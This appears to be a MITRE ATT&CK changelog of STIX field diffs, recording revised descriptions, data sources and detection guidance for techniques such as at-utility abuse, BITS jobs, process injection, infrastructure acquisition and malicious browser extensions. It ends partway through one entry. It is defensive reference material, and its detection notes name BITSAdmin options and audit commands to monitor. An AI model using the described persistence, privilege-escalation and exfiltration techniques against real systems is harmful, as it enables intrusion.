| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} | |
| x_mitre_contributors | Daniel Stepanic, Elastic |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | SaaS |
Current version: 2.2
Version changed from: 2.1 → 2.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 16:43:29.473000+00:00 | 2021-10-18 18:57:04.505000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | File: File Modification |
| x_mitre_data_sources[1] | Windows event logs | Command: Command Execution |
| x_mitre_platforms[3] | Azure | IaaS |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Group: Group Modification | |
| x_mitre_data_sources | User Account: User Account Modification | |
| x_mitre_data_sources | Active Directory: Active Directory Object Modification | |
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | AWS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, lease, or | t | 1 | Adversaries may buy, lease, or rent infrastructure that can |
| > | rent infrastructure that can be used during targeting. A wi | > | be used during targeting. A wide variety of infrastructure e | ||
| > | de variety of infrastructure exists for hosting and orchestr | > | xists for hosting and orchestrating adversary operations. In | ||
| > | ating adversary operations. Infrastructure solutions include | > | frastructure solutions include physical or cloud servers, do | ||
| > | physical or cloud servers, domains, and third-party web ser | > | mains, and third-party web services.(Citation: TrendmicroHid | ||
| > | vices.(Citation: TrendmicroHideoutsLease) Additionally, botn | > | eoutsLease) Additionally, botnets are available for rent or | ||
| > | ets are available for rent or purchase. Use of these infras | > | purchase. Use of these infrastructure solutions allows an a | ||
| > | tructure solutions allows an adversary to stage, launch, and | > | dversary to stage, launch, and execute an operation. Solutio | ||
| > | execute an operation. Solutions may help adversary operatio | > | ns may help adversary operations blend in with traffic that | ||
| > | ns blend in with traffic that is seen as normal, such as con | > | is seen as normal, such as contact to third-party web servic | ||
| > | tact to third-party web services. Depending on the implement | > | es. Depending on the implementation, adversaries may use inf | ||
| > | ation, adversaries may use infrastructure that makes it diff | > | rastructure that makes it difficult to physically tie back t | ||
| > | icult to physically tie back to them as well as utilize infr | > | o them as well as utilize infrastructure that can be rapidly | ||
| > | astructure that can be rapidly provisioned, modified, and sh | > | provisioned, modified, and shut down. | ||
| > | ut down. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 17:59:17.606000+00:00 | 2021-10-17 15:45:02.209000+00:00 |
| description | Before compromising a victim, adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. | Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. |
| x_mitre_detection | Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Much of this activity may take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 17:34:02.877000+00:00 | 2021-08-16 21:26:09.296000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Windows Registry | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[3] | Process monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:40:02.024000+00:00 | 2021-09-02 17:18:55.891000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | Web Credential: Web Credential Usage |
| x_mitre_data_sources[1] | OAuth audit logs | Application Log: Application Log Content |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 02:01:10.832000+00:00 | 2021-03-29 16:08:52.118000+00:00 |
| x_mitre_data_sources[0] | Network device logs | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network device logs | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Web application firewall logs | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web logs | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_platforms | SaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 02:07:27.508000+00:00 | 2021-03-29 16:09:41.559000+00:00 |
| x_mitre_data_sources[0] | Network device logs | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network intrusion detection system | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Web application firewall logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Web logs | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_platforms | SaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:17:05.394000+00:00 | 2021-10-18 12:23:46.476000+00:00 |
| external_references[5]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Modification |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the [at](https://attack.mitre.org/soft | t | 1 | Adversaries may abuse the [at](https://attack.mitre.org/soft |
| > | ware/S0110) utility to perform task scheduling for initial o | > | ware/S0110) utility to perform task scheduling for initial, | ||
| > | r recurring execution of malicious code. The [at](https://at | > | recurring, or future execution of malicious code. The [at](h | ||
| > | tack.mitre.org/software/S0110) command within Linux operatin | > | ttps://attack.mitre.org/software/S0110) command within Linux | ||
| > | g systems enables administrators to schedule tasks.(Citation | > | operating systems enables administrators to schedule tasks. | ||
| > | : Kifarunix - Task Scheduling in Linux) An adversary may us | > | (Citation: Kifarunix - Task Scheduling in Linux) An adversa | ||
| > | e [at](https://attack.mitre.org/software/S0110) in Linux env | > | ry may use [at](https://attack.mitre.org/software/S0110) in | ||
| > | ironments to execute programs at system startup or on a sche | > | Linux environments to execute programs at system startup or | ||
| > | duled basis for persistence. [at](https://attack.mitre.org/s | > | on a scheduled basis for persistence. [at](https://attack.mi | ||
| > | oftware/S0110) can also be abused to conduct remote Executio | > | tre.org/software/S0110) can also be abused to conduct remote | ||
| > | n as part of Lateral Movement and or to run a process under | > | Execution as part of Lateral Movement and or to run a proce | ||
| > | the context of a specified account. | > | ss under the context of a specified account. Adversaries ma | ||
| > | y also abuse [at](https://attack.mitre.org/software/S0110) t | ||||
| > | o break out of restricted environments by using a task to sp | ||||
| > | awn an interactive system shell or to run system commands. S | ||||
| > | imilarly, [at](https://attack.mitre.org/software/S0110) may | ||||
| > | also be used for [Privilege Escalation](https://attack.mitre | ||||
| > | .org/tactics/TA0004) if the binary is allowed to run as supe | ||||
| > | ruser via <code>sudo</code>.(Citation: GTFObins at) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 22:35:13.112000+00:00 | 2021-10-15 14:36:26.063000+00:00 |
| description | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux) An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account. | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at) |
| x_mitre_data_sources[0] | Process command-line parameters | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_detection | Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. | Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.
Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)
Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'GTFObins at', 'description': 'Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.', 'url': 'https://gtfobins.github.io/gtfobins/at/'} | |
| external_references | {'source_name': 'rowland linux at 2019', 'description': 'Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.', 'url': 'https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/'} | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse BITS jobs to persistently execute or c | t | 1 | Adversaries may abuse BITS jobs to persistently execute or c |
| > | lean up after malicious payloads. Windows Background Intelli | > | lean up after malicious payloads. Windows Background Intelli | ||
| > | gent Transfer Service (BITS) is a low-bandwidth, asynchronou | > | gent Transfer Service (BITS) is a low-bandwidth, asynchronou | ||
| > | s file transfer mechanism exposed through [Component Object | > | s file transfer mechanism exposed through [Component Object | ||
| > | Model](https://attack.mitre.org/techniques/T1559/001) (COM). | > | Model](https://attack.mitre.org/techniques/T1559/001) (COM). | ||
| > | (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS i | > | (Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is | ||
| > | s commonly used by updaters, messengers, and other applicati | > | commonly used by updaters, messengers, and other application | ||
| > | ons preferred to operate in the background (using available | > | s preferred to operate in the background (using available id | ||
| > | idle bandwidth) without interrupting other networked applica | > | le bandwidth) without interrupting other networked applicati | ||
| > | tions. File transfer tasks are implemented as BITS jobs, whi | > | ons. File transfer tasks are implemented as BITS jobs, which | ||
| > | ch contain a queue of one or more file operations. The inte | > | contain a queue of one or more file operations. The interf | ||
| > | rface to create and manage BITS jobs is accessible through [ | > | ace to create and manage BITS jobs is accessible through [Po | ||
| > | PowerShell](https://attack.mitre.org/techniques/T1059/001) | > | werShell](https://attack.mitre.org/techniques/T1059/001) and | ||
| > | (Citation: Microsoft BITS) and the [BITSAdmin](https://attac | > | the [BITSAdmin](https://attack.mitre.org/software/S0190) to | ||
| > | k.mitre.org/software/S0190) tool. (Citation: Microsoft BITSA | > | ol.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) | ||
| > | dmin) Adversaries may abuse BITS to download, execute, and | > | Adversaries may abuse BITS to download, execute, and even | ||
| > | even clean up after running malicious code. BITS tasks are s | > | clean up after running malicious code. BITS tasks are self-c | ||
| > | elf-contained in the BITS job database, without new files or | > | ontained in the BITS job database, without new files or regi | ||
| > | registry modifications, and often permitted by host firewal | > | stry modifications, and often permitted by host firewalls.(C | ||
| > | ls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok | > | itation: CTU BITS Malware June 2016)(Citation: Mondok Window | ||
| > | Windows PiggyBack BITS May 2007) (Citation: Symantec BITS M | > | s PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) | ||
| > | ay 2007) BITS enabled execution may also enable persistence | > | BITS enabled execution may also enable persistence by creat | ||
| > | by creating long-standing jobs (the default maximum lifetime | > | ing long-standing jobs (the default maximum lifetime is 90 d | ||
| > | is 90 days and extendable) or invoking an arbitrary program | > | ays and extendable) or invoking an arbitrary program when a | ||
| > | when a job completes or errors (including after system rebo | > | job completes or errors (including after system reboots).(Ci | ||
| > | ots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU | > | tation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malwa | ||
| > | BITS Malware June 2016) BITS upload functionalities can als | > | re June 2016) BITS upload functionalities can also be used | ||
| > | o be used to perform [Exfiltration Over Alternative Protocol | > | to perform [Exfiltration Over Alternative Protocol](https:// | ||
| > | ](https://attack.mitre.org/techniques/T1048). (Citation: CTU | > | attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malwa | ||
| > | BITS Malware June 2016) | > | re June 2016) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 23:28:10.049000+00:00 | 2021-04-13 21:36:04.956000+00:00 |
| description | Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin) Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016) | Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016) BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016) |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Packet capture | Service: Service Metadata |
| x_mitre_data_sources[3] | Windows event logs | Command: Command Execution |
| x_mitre_detection | BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS)
Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)
Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) | BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)
Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)
Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Elastic - Hunting for Persistence Part 1', 'description': 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.', 'url': 'https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1'} | |
| x_mitre_contributors | Brent Murphy, Elastic | |
| x_mitre_contributors | David French, Elastic |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 18:25:33.828000+00:00 | 2021-10-15 13:53:02.135000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | File: File Metadata |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Binary file metadata | |
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | Malware reverse engineering |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Internet browser extensions to establi | t | 1 | Adversaries may abuse Internet browser extensions to establi |
| > | sh persistence access to victim systems. Browser extensions | > | sh persistent access to victim systems. Browser extensions o | ||
| > | or plugins are small programs that can add functionality and | > | r plugins are small programs that can add functionality and | ||
| > | customize aspects of Internet browsers. They can be install | > | customize aspects of Internet browsers. They can be installe | ||
| > | ed directly or through a browser's app store and generally h | > | d directly or through a browser's app store and generally ha | ||
| > | ave access and permissions to everything that the browser ca | > | ve access and permissions to everything that the browser can | ||
| > | n access. (Citation: Wikipedia Browser Extension) (Citation: | > | access.(Citation: Wikipedia Browser Extension)(Citation: Ch | ||
| > | Chrome Extensions Definition) Malicious extensions can be | > | rome Extensions Definition) Malicious extensions can be ins | ||
| > | installed into a browser through malicious app store downloa | > | talled into a browser through malicious app store downloads | ||
| > | ds masquerading as legitimate extensions, through social eng | > | masquerading as legitimate extensions, through social engine | ||
| > | ineering, or by an adversary that has already compromised a | > | ering, or by an adversary that has already compromised a sys | ||
| > | system. Security can be limited on browser app stores so it | > | tem. Security can be limited on browser app stores so it may | ||
| > | may not be difficult for malicious extensions to defeat auto | > | not be difficult for malicious extensions to defeat automat | ||
| > | mated scanners. (Citation: Malicious Chrome Extension Number | > | ed scanners.(Citation: Malicious Chrome Extension Numbers) D | ||
| > | s) Once the extension is installed, it can browse to website | > | epending on the browser, adversaries may also manipulate an | ||
| > | s in the background, (Citation: Chrome Extension Crypto Mine | > | extension's update url to install updates from an adversary | ||
| > | r) (Citation: ICEBRG Chrome Extensions) steal all informatio | > | controlled server or manipulate the mobile configuration fil | ||
| > | n that a user enters into a browser (including credentials) | > | e to silently install additional extensions. Previous to ma | ||
| > | (Citation: Banker Google Chrome Extension Steals Creds) (Cit | > | cOS 11, adversaries could silently install browser extension | ||
| > | ation: Catch All Chrome Extension) and be used as an install | > | s via the command line using the <code>profiles</code> tool | ||
| > | er for a RAT for persistence. There have also been instance | > | to install malicious <code>.mobileconfig</code> files. In ma | ||
| > | s of botnets using a persistent backdoor through malicious C | > | cOS 11+, the use of the <code>profiles</code> tool can no lo | ||
| > | hrome extensions. (Citation: Stantinko Botnet) There have al | > | nger install configuration profiles, however <code>.mobileco | ||
| > | so been similar examples of extensions being used for comman | > | nfig</code> files can be planted and installed with user int | ||
| > | d & control (Citation: Chrome Extension C2 Malware). | > | eraction.(Citation: xorrior chrome extensions macOS) Once t | ||
| > | he extension is installed, it can browse to websites in the | ||||
| > | background,(Citation: Chrome Extension Crypto Miner)(Citatio | ||||
| > | n: ICEBRG Chrome Extensions) steal all information that a us | ||||
| > | er enters into a browser (including credentials)(Citation: B | ||||
| > | anker Google Chrome Extension Steals Creds)(Citation: Catch | ||||
| > | All Chrome Extension) and be used as an installer for a RAT | ||||
| > | for persistence. There have also been instances of botnets | ||||
| > | using a persistent backdoor through malicious Chrome extensi | ||||
| > | ons.(Citation: Stantinko Botnet) There have also been simila | ||||
| > | r examples of extensions being used for command & control.(C | ||||
| > | itation: Chrome Extension C2 Malware) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 23:36:30.565000+00:00 | 2021-04-27 19:56:54.161000+00:00 |
| description | Adversaries may abuse Internet browser extensions to establish persistence access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition) Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials) (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware). | Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)
